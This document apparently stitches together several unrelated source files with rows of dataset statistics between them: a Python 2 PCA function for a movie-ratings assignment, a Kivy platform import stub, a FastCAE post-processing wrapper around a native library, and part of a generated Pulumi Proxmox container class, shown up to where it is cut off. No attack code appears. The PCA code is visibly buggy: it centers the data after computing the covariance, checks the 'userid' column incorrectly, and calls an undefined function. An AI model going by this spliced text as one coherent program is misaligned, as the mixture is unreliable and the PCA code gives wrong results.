"""
This PCA implementation is geared towards solving question 1 of the programming assignment.
Effectively, the df array is constrained to contain only three columns: userid, movieid and
rating. We will then create a sparse |unique_user_id| X |unique_movie_id| matrix (or the other
way round, dependent on the value of "axis", which we will then embed in k dimensions.
@param df: a two-dimensional pandas DataFrame with columns userid, itemid and rating
@param axis: which axis to treat as examples (0 or 1)
@param k: number of dimensions in embedding
@return numpy matrix of shape (m,k) where m is the number of unique userids in df when axis=0
and m is the number of unique itemids in df when axis=1
@raise DatasetError when the dataset provided is None or empty
@raise LogicalError when axis is neither 0 nor 1, or k <= 0
"""
# Sanity checking
if axis not in [0, 1]:
raise LogicalError, "Method %s: \"axis\" variable should be either 0 or 1 (provided: %s)." %(CURR_FUNC_NAME, str(axis))
if k <= 0 or not isinstance(k, int):
raise LogicalError, "Method %s: number k of embedding dimensions should be a positive integer (provided: %s)." %(CURR_FUNC_NAME, str(k))
if df is None or df.shape[0] == 0 or df.shape[1] == 0:
raise DatasetError, "Method %s: empty dataset provided." %(CURR_FUNC_NAME)
if len(df.columns.values) != 3:
raise DatasetError, "Method %s: the dataframe provided should have exactly 3 columns." %(CURR_FUNC_NAME)
if 'userid' not in df.columns.values[0] or 'itemid' not in df.columns.values or 'rating' not in df.columns.values:
raise DatasetError, "Method %s: the dataframe provided should have 3 columns named \"userid\", \"itemid\" and \"rating\"." %(CURR_FUNC_NAME)
# Load the dataframe values in a hash. It will make life easier.
ratingsHash = {}
for _row_indx, (userid, itemid, rating) in df.iterrows():
ratingsHash[(userid, itemid)] = rating
# We now need to make our m x n sparse array.
rowIndex = 'userid' if axis == 0 else 'itemid'
columnIndex = 'itemid' if axis == 0 else 'userid'
uniqueRows = df[rowIndex].unique()
uniqueCols = df[columnIndex].unique()
sparseArr = np.zeros((len(uniqueRows), len(uniqueCols))) # zerofill initially
for i in range(len(uniqueRows)):
for j in range(len(uniqueCols)):
if (uniqueRows[i], uniqueCols[j]) in ratingsHash:
sparseArr[i][j] = ratingsHash[(uniqueRows[i], uniqueCols[j])]
# Compute the covariance matrix
print "sparseArr shape: " + str(sparseArr.shape)
covMat = np.cov(sparseArr.T)
# A compressed representation is needed because we need to center sparse data.
csr_rep = lil_matrix(sparseArr).tocsr()
for c in range(csr_rep.shape[axis]):
sparseArr[c, :][sparseArr[c, :].nonzero()] -= np.mean(csr_rep.getcol(c).data)
# Find eigenvalues, compute and return k-dimensional embedding
print "covMat shape: " + str(covMat.shape)
eigenVals, eigenVecs = eig(covMat)
# Re-arrange eigenvectors so that you get the most significant components first.
eigenVecs = eigenVecs[:, np.argsort(-eigenVals)][:, :k]
return sparseArr.dot(eigenVecs)
if __name__ == '__main__':
os.chdir('../')
ratings_train = pd.load('proc_data/ratings_train.pda')
pca(ratings_train[['userid', 'itemid', 'rating']], 100, 0).real
pca2(ratings_train[['userid', 'itemid', 'rating']], 100, 1).real
| 44.823171
| 148
| 0.670249
| 1,054
| 7,351
| 4.621442
| 0.191651
| 0.009854
| 0.027099
| 0.029563
| 0.909054
| 0.909054
| 0.895504
| 0.895504
| 0.895504
| 0.895504
| 0
| 0.011601
| 0.226092
| 7,351
| 164
| 149
| 44.823171
| 0.844612
| 0.111413
| 0
| 0.74359
| 0
| 0
| 0.183369
| 0.005757
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.102564
| null | null | 0.051282
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
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| 0
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| 0
| 0
| 0
| 1
| 0
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| 0
| null | 0
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| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
96f596317073d5271cc276563cde435739784b59
| 193
|
py
|
Python
|
src/waclient/service_controller/__init__.py
|
WitnessAngel/witness-angel-sensor
|
810f093955c96c73e47204287cdb1a30dc73db65
|
[
"MIT"
] | 4
|
2019-10-31T10:09:44.000Z
|
2020-06-02T15:49:02.000Z
|
src/waclient/service_controller/__init__.py
|
WitnessAngel/witness-angel-sensor
|
810f093955c96c73e47204287cdb1a30dc73db65
|
[
"MIT"
] | 1
|
2019-11-07T13:45:06.000Z
|
2019-11-13T09:10:26.000Z
|
src/waclient/service_controller/__init__.py
|
WitnessAngel/witness-angel-sensor
|
810f093955c96c73e47204287cdb1a30dc73db65
|
[
"MIT"
] | 2
|
2019-10-31T09:48:54.000Z
|
2019-10-31T09:52:31.000Z
|
from kivy.utils import platform
if platform == "android":
from .android_service_controller import ServiceController
else:
from .subprocess_service_controller import ServiceController
| 24.125
| 64
| 0.813472
| 21
| 193
| 7.285714
| 0.571429
| 0.222222
| 0.300654
| 0.522876
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.139896
| 193
| 7
| 65
| 27.571429
| 0.921687
| 0
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| 0
| 0
| 0.036269
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.6
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
96fad68ae2fb3d0e8a71efdc57f0caf7a9863a70
| 13,561
|
py
|
Python
|
Code/python/Py/PostProcess.py
|
cy15196/FastCAE
|
0870752ec2e590f3ea6479e909ebf6c345ac2523
|
[
"BSD-3-Clause"
] | 117
|
2020-03-07T12:07:05.000Z
|
2022-03-27T07:35:22.000Z
|
Code/python/Py/PostProcess.py
|
cy15196/FastCAE
|
0870752ec2e590f3ea6479e909ebf6c345ac2523
|
[
"BSD-3-Clause"
] | 4
|
2020-03-12T15:36:57.000Z
|
2022-02-08T02:19:17.000Z
|
Code/python/Py/PostProcess.py
|
cy15196/FastCAE
|
0870752ec2e590f3ea6479e909ebf6c345ac2523
|
[
"BSD-3-Clause"
] | 76
|
2020-03-16T01:47:46.000Z
|
2022-03-21T16:37:07.000Z
|
#-------关联C++库---------------
import ctypes
import platform
system = platform.system()
if system == "Windows":
pre = "./"
suff = ".dll"
else:
pre = "./lib"
suff = ".so"
libfile = ctypes.cdll.LoadLibrary
filename = pre+"GraphicsAnalyse"+suff
postPro = libfile(filename)
import MainWindow
#---------------------------------
#-------定义函数------------------
def script_openFile(id, type, file):
MainWindow.script_openFile(id, type, file)
pass
def script_applyClicked(id, type):
MainWindow.script_applyClicked(id, type)
pass
def script_Properties_Opacity(id, type, obj_id, mOpacity):
MainWindow.script_Properties_Opacity(id, type, obj_id, mOpacity)
pass
def script_Properties_colorColumn(id, type, obj_id, mColorColumnStyle):
MainWindow.script_Properties_colorColumn(id, type, obj_id, mColorColumnStyle)
pass
def script_Properties_scalarBarTitle(id, type, obj_id, colName, m_title):
MainWindow.script_Properties_scalarBarTitle(id, type, obj_id, colName, m_title)
pass
def script_Properties_scalarBarFontSize(id, type, obj_id, colName, m_fontSize):
MainWindow.script_Properties_scalarBarFontSize(id, type, obj_id, colName, m_fontSize)
pass
def script_Properties_scalarBarNumLables(id, type, obj_id, colName, m_numLables):
MainWindow.script_Properties_scalarBarNumLables(id, type, obj_id, colName, m_numLables)
pass
def script_Properties_lineWidth(id, type, obj_id, mLineWidth):
MainWindow.script_Properties_lineWidth(id, type, obj_id, mLineWidth)
pass
def script_Properties_pointSize(id, type, obj_id, mPointSize):
MainWindow.script_Properties_pointSize(id, type, obj_id, mPointSize)
pass
def script_Properties_translate(id, type, obj_id, x, y, z):
MainWindow.script_Properties_translate(id, type, obj_id, x, y, z)
pass
def script_Properties_origin(id, type, obj_id, x, y, z):
MainWindow.script_Properties_origin(id, type, obj_id, x, y, z)
pass
def script_Properties_scale(id, type, obj_id, x, y, z):
MainWindow.script_Properties_scale(id, type, obj_id, x, y, z)
pass
def script_Properties_orientation(id, type, obj_id, x, y, z):
MainWindow.script_Properties_orientation(id, type, obj_id, x, y, z)
pass
def script_Properties_representation(id, type, obj_id, m_enum_representationtype):
MainWindow.script_Properties_representation(id, type, obj_id, m_enum_representationtype)
pass
def script_Properties_specular(id, type, obj_id, mSpecular):
MainWindow.script_Properties_specular(id, type, obj_id, mSpecular)
pass
def script_Properties_diffuse(id, type, obj_id, mDiffuse):
MainWindow.script_Properties_diffuse(id, type, obj_id, mDiffuse)
pass
def script_Properties_ambient(id, type, obj_id, mAmbient):
MainWindow.script_Properties_ambient(id, type, obj_id, mAmbient)
pass
def script_Properties_specularPower(id, type, obj_id, mSpecularPower):
MainWindow.script_Properties_specularPower(id, type, obj_id, mSpecularPower)
pass
def script_Properties_specularColor(id, type, obj_id, r, g, b):
MainWindow.script_Properties_specularColor(id, type, obj_id, r, g, b)
pass
def script_Properties_solidColor(id, type, obj_id, r, g, b):
MainWindow.script_Properties_solidColor(id, type, obj_id, r, g, b)
pass
def script_Properties_edgeColor(id, type, obj_id, r, g, b):
MainWindow.script_Properties_edgeColor(id, type, obj_id, r, g, b)
pass
def script_Properties_interpolation(id, type, obj_id, m_enum_interpolationtype):
MainWindow.script_Properties_interpolation(id, type, obj_id, m_enum_interpolationtype)
pass
def script_Properties_Flag_scalarBar(id, type, obj_id, mColorColumnStyle):
MainWindow.script_Properties_Flag_scalarBar(id, type, obj_id, mColorColumnStyle)
pass
def script_Properties_EnableOpacityMap(id, type, obj_id, val):
MainWindow.script_Properties_EnableOpacityMap(id, type, obj_id, val)
pass
def script_Properties_visible(id, type, obj_id, flag_show_actors):
MainWindow.script_Properties_visible(id, type, obj_id, flag_show_actors)
pass
def script_Properties_show_scalarBars(id, type, obj_id, mScalarBarVisible):
MainWindow.script_Properties_show_scalarBars(id, type, obj_id, mScalarBarVisible)
pass
def script_Properties_show_cubeAxes(id, type, obj_id, flag_cubeAxes):
MainWindow.script_Properties_show_cubeAxes(id, type, obj_id, flag_cubeAxes)
pass
def script_Properties_scalarBarPosition(id, type, obj_id, colName, tep_orietation, pos0, pos1, pos2, pos3):
MainWindow.script_Properties_scalarBarPosition(id, type, obj_id,colName, tep_orietation, pos0, pos1, pos2, pos3)
pass
def script_Clip(id, type, obj_id):
MainWindow.script_FilterClip(id, type, obj_id)
pass
def script_Slice(id, type, obj_id):
MainWindow.script_FilterSlice(id, type, obj_id)
pass
def script_Contour(id, type, obj_id):
MainWindow.script_FilterContour(id, type, obj_id)
pass
def script_Vector(id, type, obj_id):
MainWindow.script_FilterVector(id, type, obj_id)
pass
def script_Reflection(id, type, obj_id):
MainWindow.script_FilterReflection(id, type, obj_id)
pass
def script_Smooth(id, type, obj_id):
MainWindow.script_FilterSmooth(id, type, obj_id)
pass
def script_StreamLine(id, type, obj_id):
MainWindow.script_FilterStreamLine(id, type, obj_id)
pass
###################
def script_Vector_GlyphVector(id, type, obj_id, val):
MainWindow.script_Properties_vector_GlyphVector(id, type, obj_id, val)
pass
def script_Vector_scalar(id, type, obj_id, val):
MainWindow.script_Properties_vector_scalar(id, type, obj_id, val)
pass
def script_Vector_normal(id, type, obj_id, val):
MainWindow.script_Properties_vector_normal(id, type, obj_id, val)
pass
def script_Vector_numPoints(id, type, obj_id, val):
MainWindow.script_Properties_vector_numPoints(id, type, obj_id, val)
pass
def script_Vector_glyph_type(id, type, obj_id, val):
MainWindow.script_Properties_vector_glyph_type(id, type, obj_id, val)
pass
def script_Vector_glyph_tipRes(id, type, obj_id, val):
MainWindow.script_Properties_vector_glyph_tipRes(id, type, obj_id, val)
pass
def script_Vector_glyph_tipRad(id, type, obj_id, val):
MainWindow.script_Properties_vector_glyph_tipRad(id, type, obj_id, val)
pass
def script_Vector_glyph_tipLen(id, type, obj_id, val):
MainWindow.script_Properties_vector_glyph_tipLen(id, type, obj_id, val)
pass
def script_FilterStreamLine(id, type, obj_id):
MainWindow.script_FilterStreamLine(id, type, obj_id)
pass
def script_Vector_glyph_shaftRes(id, type, obj_id, val):
MainWindow.script_Properties_vector_glyph_shaftRes(id, type, obj_id, val)
pass
def script_Vector_glyph_shaftRad(id, type, obj_id, val):
MainWindow.script_Properties_vector_glyph_shaftRad(id, type, obj_id, val)
pass
def script_Properties_view_backgroundType(id, type, obj_id, val):
MainWindow.script_Properties_view_backgroundType(id, type, obj_id, val)
pass
def script_Properties_view_backgroundColor(id, type, obj_id, red, green, blue):
MainWindow.script_Properties_view_backgroundColor(id, type, obj_id, red, green, blue)
pass
def script_Properties_view_background2Color(id, type, obj_id, red, green, blue):
MainWindow.script_Properties_view_background2Color(id, type, obj_id, red, green, blue)
pass
def script_Properties_view_axesVisible(id, type, a):
MainWindow.script_Properties_view_axesVisible(id, type, a)
pass
def script_Properties_view_cameraParallel(id, type, a):
MainWindow.script_Properties_view_cameraParallel(id, type, a)
pass
def script_Properties_view_interaction(id, type, a):
MainWindow.script_Properties_view_interaction(id, type, a)
pass
def script_Properties_renderView(id, type):
MainWindow.script_Properties_renderView(id, type)
pass
def script_Camera_Position(id, type, pos0, pos1, pos2):
MainWindow.script_Camera_Position(id, type, pos0, pos1, pos2)
pass
def script_Camera_FocalPoint(id, type, focalPoint0, focalPoint1, focalPoint2):
MainWindow.script_Camera_FocalPoint(id, type, focalPoint0, focalPoint1, focalPoint2)
pass
def script_Camera_ClippingRange(id, type, clippingRange0, clippingRange1):
MainWindow.script_Camera_ClippingRange(id, type, clippingRange0, clippingRange1)
pass
def script_Camera_ViewUp(id, type, viewup0, viewup1, viewup2):
MainWindow.script_Camera_ViewUp(id, type, viewup0, viewup1, viewup2)
pass
def script_Camera_ViewAngle(id, type, angle):
MainWindow.script_Camera_ViewAngle(id, type, angle)
pass
def script_Camera_Zoom(id, type, zoom):
MainWindow.script_Camera_Zoom(id, type, zoom)
pass
def script_Camera_Reset(id, type,):
MainWindow.script_Camera_Reset(id, type,)
pass
def script_Properties_planeOrigin(id, type, obj_id, x, y, z):
MainWindow.script_Properties_planeOrigin(id, type, obj_id, x, y, z)
pass
def script_Properties_planeNormal(id, type, obj_id, x, y, z):
MainWindow.script_Properties_planeNormal(id, type, obj_id, x, y, z)
pass
def script_Properties_planeVisible(id, type, obj_id, a):
MainWindow.script_Properties_planeVisible(id, type, obj_id, a)
pass
def script_Properties_insideOut(id, type, obj_id, a):
MainWindow.script_Properties_insideOut(id, type, obj_id, a)
pass
def script_Contour_Column(id, type, obj_id, val):
MainWindow.script_Properties_contourColumn(id, type, obj_id, val)
pass
def script_Contour_value(id, type, obj_id, val):
MainWindow.script_Properties_contourValue(id, type, obj_id, val)
pass
def script_Contour_reflection(id, type, obj_id, aaa):
MainWindow.script_Properties_contour_reflection(id, type, obj_id, aaa)
pass
def script_Contour_reflectionAxes(id, type, obj_id, val):
MainWindow.script_Properties_contour_reflectionAxes(id, type, obj_id, val)
pass
def script_Properties_reflectionAxes(id, type, obj_id, reflection_axis):
MainWindow.script_Properties_reflectionAxes(id, type, obj_id, reflection_axis)
pass
def Smooth_smooth(id, type, obj_id, smotype, coef):
MainWindow.script_Properties_smooth(id, type, obj_id, smotype, coef)
pass
def script_Streamline_vector(id, type, obj_id, val):
MainWindow.script_Properties_streamline_vector(id, type, obj_id, val)
pass
def script_Streamline_integration_type(id, type, obj_id, val):
MainWindow.script_Properties_streamline_integration_type(id, type, obj_id, val)
pass
def script_Streamline_integration_direction(id, type, obj_id, val):
MainWindow.script_Properties_streamline_integration_direction(id, type, obj_id, val)
pass
def script_Streamline_integration_stepUnit(id, type, obj_id, val):
MainWindow.script_Properties_streamline_integration_type(id, type, obj_id, val)
pass
def script_Properties_streamline_integration_stepUnit(id, type, obj_id, val):
MainWindow.script_Properties_streamline_integration_stepUnit(id, type, obj_id, val)
pass
def script_Streamline_integration_initStepLen(id, type, obj_id, val):
MainWindow.script_Properties_streamline_integration_initStepLen(id, type, obj_id, val)
pass
def script_Streamline_integration_miniStepLen(id, type, obj_id, val):
MainWindow.script_Properties_streamline_integration_miniStepLen(id, type, obj_id, val)
pass
def script_Streamline_integration_maxiStepLen(id, type, obj_id, val):
MainWindow.script_Properties_streamline_integration_maxiStepLen(id, type, obj_id, val)
pass
def script_Streamline_stream_maxiSteps(id, type, obj_id, val):
MainWindow.script_Properties_streamline_stream_maxiSteps(id, type, obj_id, val)
pass
def script_Streamline_stream_maxiStreamLen(id, type, obj_id, val):
MainWindow.script_Properties_streamline_stream_maxiStreamLen(id, type, obj_id, val)
pass
###########
def script_Streamline_stream_terminalSpeed(id, type, obj_id, val):
MainWindow.script_Properties_streamline_stream_terminalSpeed(id, type, obj_id, val)
pass
def script_Streamline_stream_maxiError(id, type, obj_id, val):
MainWindow.script_Properties_streamline_stream_maxiError(id, type, obj_id, val)
pass
def script_Streamline_seeds_type(id, type, obj_id, val):
MainWindow.script_Properties_streamline_seeds_type(id, type, obj_id, val)
pass
def script_Streamline_seeds_mPoint(id, type, obj_id, val0, val1, val2):
MainWindow.script_Properties_streamline_seeds_mPoint(id, type, obj_id, val0, val1, val2)
pass
def script_Streamline_seeds_num_points(id, type, obj_id, val):
MainWindow.script_Properties_streamline_seeds_num_points(id, type, obj_id, val)
pass
def script_Streamline_seeds_radius(id, type, obj_id, val):
MainWindow.script_Properties_streamline_seeds_radius(id, type, obj_id, val)
pass
def script_Streamline_vorticity(id, type, obj_id, val):
MainWindow.script_Properties_streamline_vorticity(id, type, obj_id, val)
pass
def script_Streamline_interpolatorType(id, type, obj_id, val):
MainWindow.script_Properties_streamline_interpolatorType(id, type, obj_id, val)
pass
def script_Streamline_surface_streamLines(id, type, obj_id, val):
MainWindow.script_Properties_streamline_surface_streamLines(id, type, obj_id, val)
pass
def script_Properties_streamline_reflection(id, type, obj_id, val):
MainWindow.script_Properties_streamline_reflection(id, type, obj_id, val)
pass
def script_Properties_streamline_reflectionAxes(id, type, obj_id, val):
MainWindow.script_Properties_streamline_reflectionAxes(id, type, obj_id, val)
pass
| 35.132124
| 114
| 0.773026
| 1,872
| 13,561
| 5.267094
| 0.096154
| 0.110751
| 0.142394
| 0.174037
| 0.909432
| 0.887931
| 0.855477
| 0.78144
| 0.600913
| 0.456795
| 0
| 0.00323
| 0.132586
| 13,561
| 385
| 115
| 35.223377
| 0.834991
| 0.006637
| 0
| 0.332168
| 0
| 0
| 0.002679
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.318182
| false
| 0.318182
| 0.01049
| 0
| 0.328671
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
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| 0
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| 0
| 0
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| null | 0
| 0
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| 0
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| 1
| 0
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| 0
| 0
| 0
| 0
|
0
| 7
|
8c58b90eef41167d3f0de93f06baf77540390725
| 59,670
|
py
|
Python
|
sdk/python/pulumi_proxmox/lxc_container.py
|
beyondcloud-co/pulumi-proxmox
|
45d7b14e37815fe35fbb4c09c047d91d71e86e8d
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_proxmox/lxc_container.py
|
beyondcloud-co/pulumi-proxmox
|
45d7b14e37815fe35fbb4c09c047d91d71e86e8d
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_proxmox/lxc_container.py
|
beyondcloud-co/pulumi-proxmox
|
45d7b14e37815fe35fbb4c09c047d91d71e86e8d
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from . import _utilities
from . import outputs
from ._inputs import *
__all__ = ['LXCContainerArgs', 'LXCContainer']
@pulumi.input_type
class LXCContainerArgs:
def __init__(__self__, *,
target_node: pulumi.Input[str],
arch: Optional[pulumi.Input[str]] = None,
bwlimit: Optional[pulumi.Input[int]] = None,
clone: Optional[pulumi.Input[str]] = None,
clone_storage: Optional[pulumi.Input[str]] = None,
cmode: Optional[pulumi.Input[str]] = None,
console: Optional[pulumi.Input[bool]] = None,
cores: Optional[pulumi.Input[int]] = None,
cpulimit: Optional[pulumi.Input[int]] = None,
cpuunits: Optional[pulumi.Input[int]] = None,
description: Optional[pulumi.Input[str]] = None,
features: Optional[pulumi.Input['LXCContainerFeaturesArgs']] = None,
force: Optional[pulumi.Input[bool]] = None,
full: Optional[pulumi.Input[bool]] = None,
hagroup: Optional[pulumi.Input[str]] = None,
hastate: Optional[pulumi.Input[str]] = None,
hookscript: Optional[pulumi.Input[str]] = None,
hostname: Optional[pulumi.Input[str]] = None,
ignore_unpack_errors: Optional[pulumi.Input[bool]] = None,
lock: Optional[pulumi.Input[str]] = None,
memory: Optional[pulumi.Input[int]] = None,
mountpoints: Optional[pulumi.Input[Sequence[pulumi.Input['LXCContainerMountpointArgs']]]] = None,
nameserver: Optional[pulumi.Input[str]] = None,
networks: Optional[pulumi.Input[Sequence[pulumi.Input['LXCContainerNetworkArgs']]]] = None,
onboot: Optional[pulumi.Input[bool]] = None,
ostemplate: Optional[pulumi.Input[str]] = None,
ostype: Optional[pulumi.Input[str]] = None,
password: Optional[pulumi.Input[str]] = None,
pool: Optional[pulumi.Input[str]] = None,
protection: Optional[pulumi.Input[bool]] = None,
restore: Optional[pulumi.Input[bool]] = None,
rootfs: Optional[pulumi.Input['LXCContainerRootfsArgs']] = None,
searchdomain: Optional[pulumi.Input[str]] = None,
ssh_public_keys: Optional[pulumi.Input[str]] = None,
start: Optional[pulumi.Input[bool]] = None,
startup: Optional[pulumi.Input[str]] = None,
swap: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[str]] = None,
template: Optional[pulumi.Input[bool]] = None,
tty: Optional[pulumi.Input[int]] = None,
unique: Optional[pulumi.Input[bool]] = None,
unprivileged: Optional[pulumi.Input[bool]] = None,
vmid: Optional[pulumi.Input[int]] = None):
"""
The set of arguments for constructing a LXCContainer resource.
"""
pulumi.set(__self__, "target_node", target_node)
if arch is not None:
pulumi.set(__self__, "arch", arch)
if bwlimit is not None:
pulumi.set(__self__, "bwlimit", bwlimit)
if clone is not None:
pulumi.set(__self__, "clone", clone)
if clone_storage is not None:
pulumi.set(__self__, "clone_storage", clone_storage)
if cmode is not None:
pulumi.set(__self__, "cmode", cmode)
if console is not None:
pulumi.set(__self__, "console", console)
if cores is not None:
pulumi.set(__self__, "cores", cores)
if cpulimit is not None:
pulumi.set(__self__, "cpulimit", cpulimit)
if cpuunits is not None:
pulumi.set(__self__, "cpuunits", cpuunits)
if description is not None:
pulumi.set(__self__, "description", description)
if features is not None:
pulumi.set(__self__, "features", features)
if force is not None:
pulumi.set(__self__, "force", force)
if full is not None:
pulumi.set(__self__, "full", full)
if hagroup is not None:
pulumi.set(__self__, "hagroup", hagroup)
if hastate is not None:
pulumi.set(__self__, "hastate", hastate)
if hookscript is not None:
pulumi.set(__self__, "hookscript", hookscript)
if hostname is not None:
pulumi.set(__self__, "hostname", hostname)
if ignore_unpack_errors is not None:
pulumi.set(__self__, "ignore_unpack_errors", ignore_unpack_errors)
if lock is not None:
pulumi.set(__self__, "lock", lock)
if memory is not None:
pulumi.set(__self__, "memory", memory)
if mountpoints is not None:
pulumi.set(__self__, "mountpoints", mountpoints)
if nameserver is not None:
pulumi.set(__self__, "nameserver", nameserver)
if networks is not None:
pulumi.set(__self__, "networks", networks)
if onboot is not None:
pulumi.set(__self__, "onboot", onboot)
if ostemplate is not None:
pulumi.set(__self__, "ostemplate", ostemplate)
if ostype is not None:
pulumi.set(__self__, "ostype", ostype)
if password is not None:
pulumi.set(__self__, "password", password)
if pool is not None:
pulumi.set(__self__, "pool", pool)
if protection is not None:
pulumi.set(__self__, "protection", protection)
if restore is not None:
pulumi.set(__self__, "restore", restore)
if rootfs is not None:
pulumi.set(__self__, "rootfs", rootfs)
if searchdomain is not None:
pulumi.set(__self__, "searchdomain", searchdomain)
if ssh_public_keys is not None:
pulumi.set(__self__, "ssh_public_keys", ssh_public_keys)
if start is not None:
pulumi.set(__self__, "start", start)
if startup is not None:
pulumi.set(__self__, "startup", startup)
if swap is not None:
pulumi.set(__self__, "swap", swap)
if tags is not None:
pulumi.set(__self__, "tags", tags)
if template is not None:
pulumi.set(__self__, "template", template)
if tty is not None:
pulumi.set(__self__, "tty", tty)
if unique is not None:
pulumi.set(__self__, "unique", unique)
if unprivileged is not None:
pulumi.set(__self__, "unprivileged", unprivileged)
if vmid is not None:
pulumi.set(__self__, "vmid", vmid)
@property
@pulumi.getter(name="targetNode")
def target_node(self) -> pulumi.Input[str]:
return pulumi.get(self, "target_node")
@target_node.setter
def target_node(self, value: pulumi.Input[str]):
pulumi.set(self, "target_node", value)
@property
@pulumi.getter
def arch(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "arch")
@arch.setter
def arch(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "arch", value)
@property
@pulumi.getter
def bwlimit(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "bwlimit")
@bwlimit.setter
def bwlimit(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "bwlimit", value)
@property
@pulumi.getter
def clone(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "clone")
@clone.setter
def clone(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "clone", value)
@property
@pulumi.getter(name="cloneStorage")
def clone_storage(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "clone_storage")
@clone_storage.setter
def clone_storage(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "clone_storage", value)
@property
@pulumi.getter
def cmode(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "cmode")
@cmode.setter
def cmode(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "cmode", value)
@property
@pulumi.getter
def console(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "console")
@console.setter
def console(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "console", value)
@property
@pulumi.getter
def cores(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "cores")
@cores.setter
def cores(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "cores", value)
@property
@pulumi.getter
def cpulimit(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "cpulimit")
@cpulimit.setter
def cpulimit(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "cpulimit", value)
@property
@pulumi.getter
def cpuunits(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "cpuunits")
@cpuunits.setter
def cpuunits(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "cpuunits", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter
def features(self) -> Optional[pulumi.Input['LXCContainerFeaturesArgs']]:
return pulumi.get(self, "features")
@features.setter
def features(self, value: Optional[pulumi.Input['LXCContainerFeaturesArgs']]):
pulumi.set(self, "features", value)
@property
@pulumi.getter
def force(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "force")
@force.setter
def force(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "force", value)
@property
@pulumi.getter
def full(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "full")
@full.setter
def full(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "full", value)
@property
@pulumi.getter
def hagroup(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "hagroup")
@hagroup.setter
def hagroup(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "hagroup", value)
@property
@pulumi.getter
def hastate(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "hastate")
@hastate.setter
def hastate(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "hastate", value)
@property
@pulumi.getter
def hookscript(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "hookscript")
@hookscript.setter
def hookscript(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "hookscript", value)
@property
@pulumi.getter
def hostname(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "hostname")
@hostname.setter
def hostname(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "hostname", value)
@property
@pulumi.getter(name="ignoreUnpackErrors")
def ignore_unpack_errors(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "ignore_unpack_errors")
@ignore_unpack_errors.setter
def ignore_unpack_errors(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "ignore_unpack_errors", value)
@property
@pulumi.getter
def lock(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "lock")
@lock.setter
def lock(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "lock", value)
@property
@pulumi.getter
def memory(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "memory")
@memory.setter
def memory(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "memory", value)
@property
@pulumi.getter
def mountpoints(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['LXCContainerMountpointArgs']]]]:
return pulumi.get(self, "mountpoints")
@mountpoints.setter
def mountpoints(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['LXCContainerMountpointArgs']]]]):
pulumi.set(self, "mountpoints", value)
@property
@pulumi.getter
def nameserver(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "nameserver")
@nameserver.setter
def nameserver(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "nameserver", value)
@property
@pulumi.getter
def networks(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['LXCContainerNetworkArgs']]]]:
return pulumi.get(self, "networks")
